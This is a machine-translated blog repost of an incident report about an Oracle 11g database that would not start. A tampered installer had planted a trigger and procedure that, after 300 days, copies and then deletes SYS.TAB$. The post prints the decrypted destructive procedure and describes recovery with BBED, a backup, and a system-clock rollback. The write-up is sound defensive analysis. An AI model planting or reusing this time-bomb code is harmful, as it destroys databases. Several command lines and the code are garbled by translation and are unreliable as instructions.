In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Database >
Share
Shulou(Shulou.com)06/01 Report--
Recently, my colleague was in charge of a project in which the computer room lost power and needed to restart the database after recovery. I was found, which is a routine operation. After logging in to the database, I directly startup the command. However, an ORA-600 error appears, and repeated retries cannot eliminate the problem:
SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018Copyright (c) 1982, 2013, Oracle. All rights reserved.Connected to an idle instance.SQL > startup mount;ORACLE instance started.Database mounted.SQL > alter database open;alter database open*ERROR at line 1:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: [16703], [1403], [20], [] Process ID: 1236Session ID: 1 Serial number: 5
After querying the relevant error information on the Internet, it is determined that the database cannot be started due to the injection of malicious programs into the database installation software. The links are as follows:
Https://www.eygle.com/archives/2018/07/recover_ora-600_16703.html
The injected files are:
$ORACLE_HOME/rdbms/admin/prvtsupp.plb
The package file is finally injected with a trigger, the startup trigger, which is triggered to execute when the database is started:
This trigger executes the previous encrypted code, the stored procedure, the decrypted code of this stored procedure is as follows, the code logic is to determine that the creation time of the database is more than 300 days, and then create a backup table, after backing up the tab$ content, empty the TAB$ table.
After that, of course, the database cannot be started:
PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT: = 10
BEGIN
SELECT TO_CHAR (SYSDATE-CREATED) INTO DATE1 FROM V$DATABASE
IF (DATE1 > = 300) THEN
EXECUTE IMMEDIATE 'create table ORACHK' | | SUBSTR (SYS_GUID,10) | |' tablespace system as select * from sys.tab$'
DELETE SYS.TAB$
COMMIT
EXECUTE IMMEDIATE 'alter system checkpoint'
END IF
END
If you find this trigger in the database, delete it immediately. Otherwise, an error will be reported after the database is restarted!
Now that we have found out the cause of the problem, how to solve it?
1. According to the solution on the network, because the malware writes the data into another table before deleting the data, the sys.tab$ table can be restored by bbed. After the database is started, the sys.tab$ table data is restored from the backed-up table, and the database returns to normal.
The idea is that there is no problem, but I have not been exposed to the bbed tool before, so I can only follow the steps in the document and do it first. the link is as follows:
Https://mp.weixin.qq.com/s?__biz=MjM5MDAxOTk2MQ==&mid=502797155&idx=1&sn=9f45528552d8951d7b1cf9beb2a2294b&chksm=3e478b7509300263287c126243ff8c86d3335fe934b7db2d387add87b49a667dc23048edab59#rd
According to the document idea, when the database starts, you need to access the base table, and the rdba addresses of these objects are generally the same on the database of the same version and platform, so find a normal database of the same version on the same platform (preferably a cleaner database, otherwise the subsequent processing will be more troublesome), replace it with bbed, and use sql to splice out the command of bbed.
SQL> SELECT DISTINCT'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM( 2 SELECTa.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID 3 FROMTAB$ a,obj$ b 4 WHEREa.obj#=b.obj# 5 ANDA.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));
The result is something like this.
-BBED tool--
Here is another record of the use of the bbed tool:
1.1 BBED installation
BBED library files are not provided by default in OracleDatabase 11g, but can be compiled with 10g files. You need to copy the following files from 10g to the appropriate directory before executing the above connection command. Refer to the following steps:
(1) copy Oracle 10g file
Copy ORA10gHOME/rdbms/lib/ssbbded.otoORA10gHOME/rdbms/lib/ssbbded.otoORA11g_HOME/rdbms/lib
Copy ORA10gHOME/rdbms/lib/sbbdpt.otoORA10gHOME/rdbms/lib/sbbdpt.otoORA11g_HOME/rdbms/lib
Copy ORA10gHOME/rdbms/mesg/bbedus.msbtoORA10gHOME/rdbms/mesg/bbedus.msbtoORA11g_HOME/rdbms/mesg
Copy ORA10gHOME/rdbms/mesg/bbedus.msgtoORA10gHOME/rdbms/mesg/bbedus.msgtoORA11g_HOME/rdbms/mesg
Copy ORA10gHOME/rdbms/mesg/bbedar.msbtoORA10gHOME/rdbms/mesg/bbedar.msbtoORA11g_HOME/rdbms/mesg
(2) compilation
Make-f ORA11gHOME/rdbms/lib/insrdbms.mkBBED=ORA11gHOME/rdbms/lib/insrdbms.mkBBED=ORACLE_HOME/bin/bbed $ORACLE_HOME/bin/bbed
1.2 use BBED
BBED is a command used internally by Oracle, so Oracle does not provide technical support. For security, BBED sets password protection, and the default password is blockedit.
[oracle@db2 bin] $bbed
Password:
BBED-00113: Invalid password. Please rerunutility with the correct password.
[oracle@db2 bin] $bbed
Password:
BBED: Release 2.0.0.0.0-LimitedProduction on Thu Aug 11 18:51:47 2011
Copyright (c) 1982, 2005, Oracle. All rights reserved.
*! For Oracle Internal Useonly!! *
BBED >
Bbed is generally used to write some configuration information into a parameter text, which is specified when bbed is called. Such as:
$bbedparfile=bbed.par
Examples of parameter files are as follows: file_id and file_name are required.
Since only the design base table is in the system table space, we only need to copy a copy of the system data file of the normal database to the database server that cannot be started, and then enter the information into the parameter file, as shown below:
Execute the copy command in turn
-BBED tool
After modifying a data block using bbed
Try the open database: SQL > conn / as sysdba
Connected to anidle instance.
SQL > startup
ORACLE instancestarted.
Total System GlobalArea 1269366784 bytes
Fixed Size 2252864 bytes
Variable Size 1191186368 bytes
DatabaseBuffers 67108864 bytes
Redo Buffers 8818688 bytes
Database mounted.
Database opened.
However, if you check the alert log at this time, you will find that there is an error. From the alert log, you can see that the database open is accompanied by ora-7445 at this time, and the crash will be dropped after 5 minutes, so it is necessary to seize the operation time of 5 minutes.
The following steps are more complex, because I am not familiar with the bbed tool, so I did not continue. Interested students can study it again.
Now I use backup to get the database back to normal.
The first time to use backup recovery encountered a problem, because the malicious code has been implanted when the oracle software is installed, so after the backup restore, after performing startup, this trigger will be triggered and the $tab base table will be emptied. After using backup and recovery, there is no problem with querying the data table, but the data cannot be exported using the exp tool, there will be an error, and the database largely depends on the $tab base table, so the database here is not normal.
According to the principle of this malicious script, it uses sysdate-createdate to determine whether the database is running for more than 300 days, so can we start the database normally by modifying the operating system time of the database server so that its createdate data is less than 300 days?
Through on-site operation, this method is possible.
1. Adjust the operating system time to less than 300days to make the startup database normal.
2. Then delete the relevant triggers and stored procedures
3. Shut down the database shutdown immediate normally
4. Adjust the operating system time to the present time
5. Startup database
6. Check the data, as well as data export, background log, everything is normal
-Summary-
Through this event, I learned about the bbed tool that I have never touched before, and I feel very powerful when I have time to study this tool. Also, when deploying database software, be sure to use the official installation file and verify the value of md5.
Attached:
1. Oracle database encryption and decryption tool (can decrypt the contents of files in PLB format)
2. BBED-10G- source code (required when installing and compiling BBED)
3. MD5 value of common installation files of ORACLE
P13390677_112040_Linux-x86-64_3of7.zip size: 1.12GB md5:04cef37991db18f8190f7d4a19b26912
P13390677_112040_Linux-x86-64_2of7.zip size: 1.07GB md5:67ba1e68a4f581b305885114768443d3
P13390677_112040_Linux-x86-64_1of7.zip size: 1.3GB md5:1616f61789891a56eafd40de79f58f28
Linux can view MD5 values through the md5sum command
Download address: https://pan.baidu.com/s/1GwrETqSzvCgCJEgJe8a3iA
Extraction code: 1lyq
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.